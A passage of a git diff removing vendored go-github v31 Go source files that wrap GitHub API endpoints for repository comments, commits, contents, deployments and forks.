Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var comments []*RepositoryComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// ListCommitComments lists all the comments for a given commit SHA. -// -// GitHub API docs: https://developer.github.com/v3/repos/comments/#list-comments-for-a-single-commit -func (s *RepositoriesService) ListCommitComments(ctx context.Context, owner, repo, sha string, opts *ListOptions) ([]*RepositoryComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/comments", owner, repo, sha) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var comments []*RepositoryComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// CreateComment creates a comment for the given commit. -// Note: GitHub allows for comments to be created for non-existing files and positions. -// -// GitHub API docs: https://developer.github.com/v3/repos/comments/#create-a-commit-comment -func (s *RepositoriesService) CreateComment(ctx context.Context, owner, repo, sha string, comment *RepositoryComment) (*RepositoryComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/comments", owner, repo, sha) - req, err := s.client.NewRequest("POST", u, comment) - if err != nil { - return nil, nil, err - } - - c := new(RepositoryComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// GetComment gets a single comment from a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/comments/#get-a-single-commit-comment -func (s *RepositoriesService) GetComment(ctx context.Context, owner, repo string, id int64) (*RepositoryComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/comments/%v", owner, repo, id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - c := new(RepositoryComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// UpdateComment updates the body of a single comment. -// -// GitHub API docs: https://developer.github.com/v3/repos/comments/#update-a-commit-comment -func (s *RepositoriesService) UpdateComment(ctx context.Context, owner, repo string, id int64, comment *RepositoryComment) (*RepositoryComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/comments/%v", owner, repo, id) - req, err := s.client.NewRequest("PATCH", u, comment) - if err != nil { - return nil, nil, err - } - - c := new(RepositoryComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// DeleteComment deletes a single comment from a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/comments/#delete-a-commit-comment -func (s *RepositoriesService) DeleteComment(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/comments/%v", owner, repo, id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_commits.go b/vendor/github.com/google/go-github/v31/github/repos_commits.go deleted file mode 100644 index 4db577085a..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_commits.go +++ /dev/null @@ -1,265 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "bytes" - "context" - "fmt" - "time" -) - -// RepositoryCommit represents a commit in a repo. -// Note that it's wrapping a Commit, so author/committer information is in two places, -// but contain different details about them: in RepositoryCommit "github details", in Commit - "git details". -type RepositoryCommit struct { - NodeID *string `json:"node_id,omitempty"` - SHA *string `json:"sha,omitempty"` - Commit *Commit `json:"commit,omitempty"` - Author *User `json:"author,omitempty"` - Committer *User `json:"committer,omitempty"` - Parents []*Commit `json:"parents,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - URL *string `json:"url,omitempty"` - CommentsURL *string `json:"comments_url,omitempty"` - - // Details about how many changes were made in this commit. Only filled in during GetCommit! - Stats *CommitStats `json:"stats,omitempty"` - // Details about which files, and how this commit touched. Only filled in during GetCommit! - Files []*CommitFile `json:"files,omitempty"` -} - -func (r RepositoryCommit) String() string { - return Stringify(r) -} - -// CommitStats represents the number of additions / deletions from a file in a given RepositoryCommit or GistCommit. -type CommitStats struct { - Additions *int `json:"additions,omitempty"` - Deletions *int `json:"deletions,omitempty"` - Total *int `json:"total,omitempty"` -} - -func (c CommitStats) String() string { - return Stringify(c) -} - -// CommitFile represents a file modified in a commit. -type CommitFile struct { - SHA *string `json:"sha,omitempty"` - Filename *string `json:"filename,omitempty"` - Additions *int `json:"additions,omitempty"` - Deletions *int `json:"deletions,omitempty"` - Changes *int `json:"changes,omitempty"` - Status *string `json:"status,omitempty"` - Patch *string `json:"patch,omitempty"` - BlobURL *string `json:"blob_url,omitempty"` - RawURL *string `json:"raw_url,omitempty"` - ContentsURL *string `json:"contents_url,omitempty"` - PreviousFilename *string `json:"previous_filename,omitempty"` -} - -func (c CommitFile) String() string { - return Stringify(c) -} - -// CommitsComparison is the result of comparing two commits. -// See CompareCommits() for details. -type CommitsComparison struct { - BaseCommit *RepositoryCommit `json:"base_commit,omitempty"` - MergeBaseCommit *RepositoryCommit `json:"merge_base_commit,omitempty"` - - // Head can be 'behind' or 'ahead' - Status *string `json:"status,omitempty"` - AheadBy *int `json:"ahead_by,omitempty"` - BehindBy *int `json:"behind_by,omitempty"` - TotalCommits *int `json:"total_commits,omitempty"` - - Commits []*RepositoryCommit `json:"commits,omitempty"` - - Files []*CommitFile `json:"files,omitempty"` - - HTMLURL *string `json:"html_url,omitempty"` - PermalinkURL *string `json:"permalink_url,omitempty"` - DiffURL *string `json:"diff_url,omitempty"` - PatchURL *string `json:"patch_url,omitempty"` - URL *string `json:"url,omitempty"` // API URL. -} - -func (c CommitsComparison) String() string { - return Stringify(c) -} - -// CommitsListOptions specifies the optional parameters to the -// RepositoriesService.ListCommits method. -type CommitsListOptions struct { - // SHA or branch to start listing Commits from. - SHA string `url:"sha,omitempty"` - - // Path that should be touched by the returned Commits. - Path string `url:"path,omitempty"` - - // Author of by which to filter Commits. - Author string `url:"author,omitempty"` - - // Since when should Commits be included in the response. - Since time.Time `url:"since,omitempty"` - - // Until when should Commits be included in the response. - Until time.Time `url:"until,omitempty"` - - ListOptions -} - -// BranchCommit is the result of listing branches with commit SHA. -type BranchCommit struct { - Name *string `json:"name,omitempty"` - Commit *Commit `json:"commit,omitempty"` - Protected *bool `json:"protected,omitempty"` -} - -// ListCommits lists the commits of a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/commits/#list-commits-on-a-repository -func (s *RepositoriesService) ListCommits(ctx context.Context, owner, repo string, opts *CommitsListOptions) ([]*RepositoryCommit, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var commits []*RepositoryCommit - resp, err := s.client.Do(ctx, req, &commits) - if err != nil { - return nil, resp, err - } - - return commits, resp, nil -} - -// GetCommit fetches the specified commit, including all details about it. -// -// GitHub API docs: https://developer.github.com/v3/repos/commits/#get-a-single-commit -// See also: https://developer.github.com/v3/git/commits/#get-a-single-commit provides the same functionality -func (s *RepositoriesService) GetCommit(ctx context.Context, owner, repo, sha string) (*RepositoryCommit, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v", owner, repo, sha) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - commit := new(RepositoryCommit) - resp, err := s.client.Do(ctx, req, commit) - if err != nil { - return nil, resp, err - } - - return commit, resp, nil -} - -// GetCommitRaw fetches the specified commit in raw (diff or patch) format. -// -// GitHub API docs: https://developer.github.com/v3/repos/commits/#get-a-single-commit -func (s *RepositoriesService) GetCommitRaw(ctx context.Context, owner string, repo string, sha string, opts RawOptions) (string, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v", owner, repo, sha) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return "", nil, err - } - - switch opts.Type { - case Diff: - req.Header.Set("Accept", mediaTypeV3Diff) - case Patch: - req.Header.Set("Accept", mediaTypeV3Patch) - default: - return "", nil, fmt.Errorf("unsupported raw type %d", opts.Type) - } - - var buf bytes.Buffer - resp, err := s.client.Do(ctx, req, &buf) - if err != nil { - return "", resp, err - } - - return buf.String(), resp, nil -} - -// GetCommitSHA1 gets the SHA-1 of a commit reference. If a last-known SHA1 is -// supplied and no new commits have occurred, a 304 Unmodified response is returned. -// -// GitHub API docs: https://developer.github.com/v3/repos/commits/#get-a-single-commit -func (s *RepositoriesService) GetCommitSHA1(ctx context.Context, owner, repo, ref, lastSHA string) (string, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v", owner, repo, refURLEscape(ref)) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return "", nil, err - } - if lastSHA != "" { - req.Header.Set("If-None-Match", `"`+lastSHA+`"`) - } - - req.Header.Set("Accept", mediaTypeV3SHA) - - var buf bytes.Buffer - resp, err := s.client.Do(ctx, req, &buf) - if err != nil { - return "", resp, err - } - - return buf.String(), resp, nil -} - -// CompareCommits compares a range of commits with each other. -// todo: support media formats - https://github.com/google/go-github/issues/6 -// -// GitHub API docs: https://developer.github.com/v3/repos/commits/#compare-two-commits -func (s *RepositoriesService) CompareCommits(ctx context.Context, owner, repo string, base, head string) (*CommitsComparison, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/compare/%v...%v", owner, repo, base, head) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - comp := new(CommitsComparison) - resp, err := s.client.Do(ctx, req, comp) - if err != nil { - return nil, resp, err - } - - return comp, resp, nil -} - -// ListBranchesHeadCommit gets all branches where the given commit SHA is the HEAD, -// or latest commit for the branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/commits/#list-branches-for-head-commit -func (s *RepositoriesService) ListBranchesHeadCommit(ctx context.Context, owner, repo, sha string) ([]*BranchCommit, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/branches-where-head", owner, repo, sha) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeListPullsOrBranchesForCommitPreview) - var branchCommits []*BranchCommit - resp, err := s.client.Do(ctx, req, &branchCommits) - if err != nil { - return nil, resp, err - } - - return branchCommits, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_community_health.go b/vendor/github.com/google/go-github/v31/github/repos_community_health.go deleted file mode 100644 index e8775a6c15..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_community_health.go +++ /dev/null @@ -1,59 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// Metric represents the different fields for one file in community health files. -type Metric struct { - Name *string `json:"name"` - Key *string `json:"key"` - URL *string `json:"url"` - HTMLURL *string `json:"html_url"` -} - -// CommunityHealthFiles represents the different files in the community health metrics response. -type CommunityHealthFiles struct { - CodeOfConduct *Metric `json:"code_of_conduct"` - Contributing *Metric `json:"contributing"` - IssueTemplate *Metric `json:"issue_template"` - PullRequestTemplate *Metric `json:"pull_request_template"` - License *Metric `json:"license"` - Readme *Metric `json:"readme"` -} - -// CommunityHealthMetrics represents a response containing the community metrics of a repository. -type CommunityHealthMetrics struct { - HealthPercentage *int `json:"health_percentage"` - Files *CommunityHealthFiles `json:"files"` - UpdatedAt *time.Time `json:"updated_at"` -} - -// GetCommunityHealthMetrics retrieves all the community health metrics for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/community/#retrieve-community-profile-metrics -func (s *RepositoriesService) GetCommunityHealthMetrics(ctx context.Context, owner, repo string) (*CommunityHealthMetrics, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/community/profile", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeRepositoryCommunityHealthMetricsPreview) - - metrics := &CommunityHealthMetrics{} - resp, err := s.client.Do(ctx, req, metrics) - if err != nil { - return nil, resp, err - } - - return metrics, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_contents.go b/vendor/github.com/google/go-github/v31/github/repos_contents.go deleted file mode 100644 index 015d9471a5..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_contents.go +++ /dev/null @@ -1,288 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Repository contents API methods. -// GitHub API docs: https://developer.github.com/v3/repos/contents/ - -package github - -import ( - "context" - "encoding/base64" - "encoding/json" - "errors" - "fmt" - "io" - "net/http" - "net/url" - "path" -) - -// RepositoryContent represents a file or directory in a github repository. -type RepositoryContent struct { - Type *string `json:"type,omitempty"` - // Target is only set if the type is "symlink" and the target is not a normal file. - // If Target is set, Path will be the symlink path. - Target *string `json:"target,omitempty"` - Encoding *string `json:"encoding,omitempty"` - Size *int `json:"size,omitempty"` - Name *string `json:"name,omitempty"` - Path *string `json:"path,omitempty"` - // Content contains the actual file content, which may be encoded. - // Callers should call GetContent which will decode the content if - // necessary. - Content *string `json:"content,omitempty"` - SHA *string `json:"sha,omitempty"` - URL *string `json:"url,omitempty"` - GitURL *string `json:"git_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - DownloadURL *string `json:"download_url,omitempty"` -} - -// RepositoryContentResponse holds the parsed response from CreateFile, UpdateFile, and DeleteFile. -type RepositoryContentResponse struct { - Content *RepositoryContent `json:"content,omitempty"` - Commit `json:"commit,omitempty"` -} - -// RepositoryContentFileOptions specifies optional parameters for CreateFile, UpdateFile, and DeleteFile. -type RepositoryContentFileOptions struct { - Message *string `json:"message,omitempty"` - Content []byte `json:"content,omitempty"` // unencoded - SHA *string `json:"sha,omitempty"` - Branch *string `json:"branch,omitempty"` - Author *CommitAuthor `json:"author,omitempty"` - Committer *CommitAuthor `json:"committer,omitempty"` -} - -// RepositoryContentGetOptions represents an optional ref parameter, which can be a SHA, -// branch, or tag -type RepositoryContentGetOptions struct { - Ref string `url:"ref,omitempty"` -} - -// String converts RepositoryContent to a string. It's primarily for testing. -func (r RepositoryContent) String() string { - return Stringify(r) -} - -// GetContent returns the content of r, decoding it if necessary. -func (r *RepositoryContent) GetContent() (string, error) { - var encoding string - if r.Encoding != nil { - encoding = *r.Encoding - } - - switch encoding { - case "base64": - if r.Content == nil { - return "", errors.New("malformed response: base64 encoding of null content") - } - c, err := base64.StdEncoding.DecodeString(*r.Content) - return string(c), err - case "": - if r.Content == nil { - return "", nil - } - return *r.Content, nil - default: - return "", fmt.Errorf("unsupported content encoding: %v", encoding) - } -} - -// GetReadme gets the Readme file for the repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/contents/#get-the-readme -func (s *RepositoriesService) GetReadme(ctx context.Context, owner, repo string, opts *RepositoryContentGetOptions) (*RepositoryContent, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/readme", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - readme := new(RepositoryContent) - resp, err := s.client.Do(ctx, req, readme) - if err != nil { - return nil, resp, err - } - return readme, resp, nil -} - -// DownloadContents returns an io.ReadCloser that reads the contents of the -// specified file. This function will work with files of any size, as opposed -// to GetContents which is limited to 1 Mb files. It is the caller's -// responsibility to close the ReadCloser. -func (s *RepositoriesService) DownloadContents(ctx context.Context, owner, repo, filepath string, opts *RepositoryContentGetOptions) (io.ReadCloser, error) { - dir := path.Dir(filepath) - filename := path.Base(filepath) - _, dirContents, _, err := s.GetContents(ctx, owner, repo, dir, opts) - if err != nil { - return nil, err - } - for _, contents := range dirContents { - if *contents.Name == filename { - if contents.DownloadURL == nil || *contents.DownloadURL == "" { - return nil, fmt.Errorf("No download link found for %s", filepath) - } - resp, err := s.client.client.Get(*contents.DownloadURL) - if err != nil { - return nil, err - } - return resp.Body, nil - } - } - return nil, fmt.Errorf("No file named %s found in %s", filename, dir) -} - -// GetContents can return either the metadata and content of a single file -// (when path references a file) or the metadata of all the files and/or -// subdirectories of a directory (when path references a directory). To make it -// easy to distinguish between both result types and to mimic the API as much -// as possible, both result types will be returned but only one will contain a -// value and the other will be nil. -// -// GitHub API docs: https://developer.github.com/v3/repos/contents/#get-contents -func (s *RepositoriesService) GetContents(ctx context.Context, owner, repo, path string, opts *RepositoryContentGetOptions) (fileContent *RepositoryContent, directoryContent []*RepositoryContent, resp *Response, err error) { - escapedPath := (&url.URL{Path: path}).String() - u := fmt.Sprintf("repos/%s/%s/contents/%s", owner, repo, escapedPath) - u, err = addOptions(u, opts) - if err != nil { - return nil, nil, nil, err - } - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, nil, err - } - var rawJSON json.RawMessage - resp, err = s.client.Do(ctx, req, &rawJSON) - if err != nil { - return nil, nil, resp, err - } - fileUnmarshalError := json.Unmarshal(rawJSON, &fileContent) - if fileUnmarshalError == nil { - return fileContent, nil, resp, nil - } - directoryUnmarshalError := json.Unmarshal(rawJSON, &directoryContent) - if directoryUnmarshalError == nil { - return nil, directoryContent, resp, nil - } - return nil, nil, resp, fmt.Errorf("unmarshalling failed for both file and directory content: %s and %s", fileUnmarshalError, directoryUnmarshalError) -} - -// CreateFile creates a new file in a repository at the given path and returns -// the commit and file metadata. -// -// GitHub API docs: https://developer.github.com/v3/repos/contents/#create-or-update-a-file -func (s *RepositoriesService) CreateFile(ctx context.Context, owner, repo, path string, opts *RepositoryContentFileOptions) (*RepositoryContentResponse, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/contents/%s", owner, repo, path) - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, nil, err - } - createResponse := new(RepositoryContentResponse) - resp, err := s.client.Do(ctx, req, createResponse) - if err != nil { - return nil, resp, err - } - return createResponse, resp, nil -} - -// UpdateFile updates a file in a repository at the given path and returns the -// commit and file metadata. Requires the blob SHA of the file being updated. -// -// GitHub API docs: https://developer.github.com/v3/repos/contents/#create-or-update-a-file -func (s *RepositoriesService) UpdateFile(ctx context.Context, owner, repo, path string, opts *RepositoryContentFileOptions) (*RepositoryContentResponse, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/contents/%s", owner, repo, path) - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, nil, err - } - updateResponse := new(RepositoryContentResponse) - resp, err := s.client.Do(ctx, req, updateResponse) - if err != nil { - return nil, resp, err - } - return updateResponse, resp, nil -} - -// DeleteFile deletes a file from a repository and returns the commit. -// Requires the blob SHA of the file to be deleted. -// -// GitHub API docs: https://developer.github.com/v3/repos/contents/#delete-a-file -func (s *RepositoriesService) DeleteFile(ctx context.Context, owner, repo, path string, opts *RepositoryContentFileOptions) (*RepositoryContentResponse, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/contents/%s", owner, repo, path) - req, err := s.client.NewRequest("DELETE", u, opts) - if err != nil { - return nil, nil, err - } - deleteResponse := new(RepositoryContentResponse) - resp, err := s.client.Do(ctx, req, deleteResponse) - if err != nil { - return nil, resp, err - } - return deleteResponse, resp, nil -} - -// archiveFormat is used to define the archive type when calling GetArchiveLink. -type archiveFormat string - -const ( - // Tarball specifies an archive in gzipped tar format. - Tarball archiveFormat = "tarball" - - // Zipball specifies an archive in zip format. - Zipball archiveFormat = "zipball" -) - -// GetArchiveLink returns an URL to download a tarball or zipball archive for a -// repository. The archiveFormat can be specified by either the github.Tarball -// or github.Zipball constant. -// -// GitHub API docs: https://developer.github.com/v3/repos/contents/#get-archive-link -func (s *RepositoriesService) GetArchiveLink(ctx context.Context, owner, repo string, archiveformat archiveFormat, opts *RepositoryContentGetOptions, followRedirects bool) (*url.URL, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/%s", owner, repo, archiveformat) - if opts != nil && opts.Ref != "" { - u += fmt.Sprintf("/%s", opts.Ref) - } - resp, err := s.getArchiveLinkFromURL(ctx, u, followRedirects) - if err != nil { - return nil, nil, err - } - if resp.StatusCode != http.StatusFound { - return nil, newResponse(resp), fmt.Errorf("unexpected status code: %s", resp.Status) - } - parsedURL, err := url.Parse(resp.Header.Get("Location")) - return parsedURL, newResponse(resp), err -} - -func (s *RepositoriesService) getArchiveLinkFromURL(ctx context.Context, u string, followRedirects bool) (*http.Response, error) { - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, err - } - - var resp *http.Response - // Use http.DefaultTransport if no custom Transport is configured - req = withContext(ctx, req) - if s.client.client.Transport == nil { - resp, err = http.DefaultTransport.RoundTrip(req) - } else { - resp, err = s.client.client.Transport.RoundTrip(req) - } - if err != nil { - return nil, err - } - resp.Body.Close() - - // If redirect response is returned, follow it - if followRedirects && resp.StatusCode == http.StatusMovedPermanently { - u = resp.Header.Get("Location") - resp, err = s.getArchiveLinkFromURL(ctx, u, false) - } - return resp, err -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_deployments.go b/vendor/github.com/google/go-github/v31/github/repos_deployments.go deleted file mode 100644 index ace1778e9e..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_deployments.go +++ /dev/null @@ -1,229 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "encoding/json" - "fmt" - "strings" -) - -// Deployment represents a deployment in a repo -type Deployment struct { - URL *string `json:"url,omitempty"` - ID *int64 `json:"id,omitempty"` - SHA *string `json:"sha,omitempty"` - Ref *string `json:"ref,omitempty"` - Task *string `json:"task,omitempty"` - Payload json.RawMessage `json:"payload,omitempty"` - Environment *string `json:"environment,omitempty"` - Description *string `json:"description,omitempty"` - Creator *User `json:"creator,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - StatusesURL *string `json:"statuses_url,omitempty"` - RepositoryURL *string `json:"repository_url,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -// DeploymentRequest represents a deployment request -type DeploymentRequest struct { - Ref *string `json:"ref,omitempty"` - Task *string `json:"task,omitempty"` - AutoMerge *bool `json:"auto_merge,omitempty"` - RequiredContexts *[]string `json:"required_contexts,omitempty"` - Payload interface{} `json:"payload,omitempty"` - Environment *string `json:"environment,omitempty"` - Description *string `json:"description,omitempty"` - TransientEnvironment *bool `json:"transient_environment,omitempty"` - ProductionEnvironment *bool `json:"production_environment,omitempty"` -} - -// DeploymentsListOptions specifies the optional parameters to the -// RepositoriesService.ListDeployments method. -type DeploymentsListOptions struct { - // SHA of the Deployment. - SHA string `url:"sha,omitempty"` - - // List deployments for a given ref. - Ref string `url:"ref,omitempty"` - - // List deployments for a given task. - Task string `url:"task,omitempty"` - - // List deployments for a given environment. - Environment string `url:"environment,omitempty"` - - ListOptions -} - -// ListDeployments lists the deployments of a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/deployments/#list-deployments -func (s *RepositoriesService) ListDeployments(ctx context.Context, owner, repo string, opts *DeploymentsListOptions) ([]*Deployment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/deployments", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var deployments []*Deployment - resp, err := s.client.Do(ctx, req, &deployments) - if err != nil { - return nil, resp, err - } - - return deployments, resp, nil -} - -// GetDeployment returns a single deployment of a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/deployments/#get-a-single-deployment -func (s *RepositoriesService) GetDeployment(ctx context.Context, owner, repo string, deploymentID int64) (*Deployment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/deployments/%v", owner, repo, deploymentID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - deployment := new(Deployment) - resp, err := s.client.Do(ctx, req, deployment) - if err != nil { - return nil, resp, err - } - - return deployment, resp, nil -} - -// CreateDeployment creates a new deployment for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/deployments/#create-a-deployment -func (s *RepositoriesService) CreateDeployment(ctx context.Context, owner, repo string, request *DeploymentRequest) (*Deployment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/deployments", owner, repo) - - req, err := s.client.NewRequest("POST", u, request) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeDeploymentStatusPreview, mediaTypeExpandDeploymentStatusPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - d := new(Deployment) - resp, err := s.client.Do(ctx, req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, nil -} - -// DeploymentStatus represents the status of a -// particular deployment. -type DeploymentStatus struct { - ID *int64 `json:"id,omitempty"` - // State is the deployment state. - // Possible values are: "pending", "success", "failure", "error", "inactive". - State *string `json:"state,omitempty"` - Creator *User `json:"creator,omitempty"` - Description *string `json:"description,omitempty"` - TargetURL *string `json:"target_url,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - DeploymentURL *string `json:"deployment_url,omitempty"` - RepositoryURL *string `json:"repository_url,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -// DeploymentStatusRequest represents a deployment request -type DeploymentStatusRequest struct { - State *string `json:"state,omitempty"` - LogURL *string `json:"log_url,omitempty"` - Description *string `json:"description,omitempty"` - Environment *string `json:"environment,omitempty"` - EnvironmentURL *string `json:"environment_url,omitempty"` - AutoInactive *bool `json:"auto_inactive,omitempty"` -} - -// ListDeploymentStatuses lists the statuses of a given deployment of a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/deployments/#list-deployment-statuses -func (s *RepositoriesService) ListDeploymentStatuses(ctx context.Context, owner, repo string, deployment int64, opts *ListOptions) ([]*DeploymentStatus, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/deployments/%v/statuses", owner, repo, deployment) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var statuses []*DeploymentStatus - resp, err := s.client.Do(ctx, req, &statuses) - if err != nil { - return nil, resp, err - } - - return statuses, resp, nil -} - -// GetDeploymentStatus returns a single deployment status of a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/deployments/#get-a-single-deployment-status -func (s *RepositoriesService) GetDeploymentStatus(ctx context.Context, owner, repo string, deploymentID, deploymentStatusID int64) (*DeploymentStatus, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/deployments/%v/statuses/%v", owner, repo, deploymentID, deploymentStatusID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeDeploymentStatusPreview, mediaTypeExpandDeploymentStatusPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - d := new(DeploymentStatus) - resp, err := s.client.Do(ctx, req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, nil -} - -// CreateDeploymentStatus creates a new status for a deployment. -// -// GitHub API docs: https://developer.github.com/v3/repos/deployments/#create-a-deployment-status -func (s *RepositoriesService) CreateDeploymentStatus(ctx context.Context, owner, repo string, deployment int64, request *DeploymentStatusRequest) (*DeploymentStatus, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/deployments/%v/statuses", owner, repo, deployment) - - req, err := s.client.NewRequest("POST", u, request) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeDeploymentStatusPreview, mediaTypeExpandDeploymentStatusPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - d := new(DeploymentStatus) - resp, err := s.client.Do(ctx, req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_forks.go b/vendor/github.com/google/go-github/v31/github/repos_forks.go deleted file mode 100644 index 5973587dd5..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_forks.go +++ /dev/null @@ -1,96 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - - "encoding/json" -) - -// RepositoryListForksOptions specifies the optional parameters to the -// RepositoriesService.ListForks method. -type RepositoryListForksOptions struct { - // How to sort the forks list. Possible values are: newest, oldest, - // watchers. Default is "newest". - Sort string `url:"sort,omitempty"` - - ListOptions -} - -// ListForks lists the forks of the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/forks/#list-forks -func (s *RepositoriesService) ListForks(ctx context.Context, owner, repo string, opts *RepositoryListForksOptions) ([]*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/forks", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when topics API fully launches. - req.Header.Set("Accept", mediaTypeTopicsPreview) - - var repos []*Repository - resp, err := 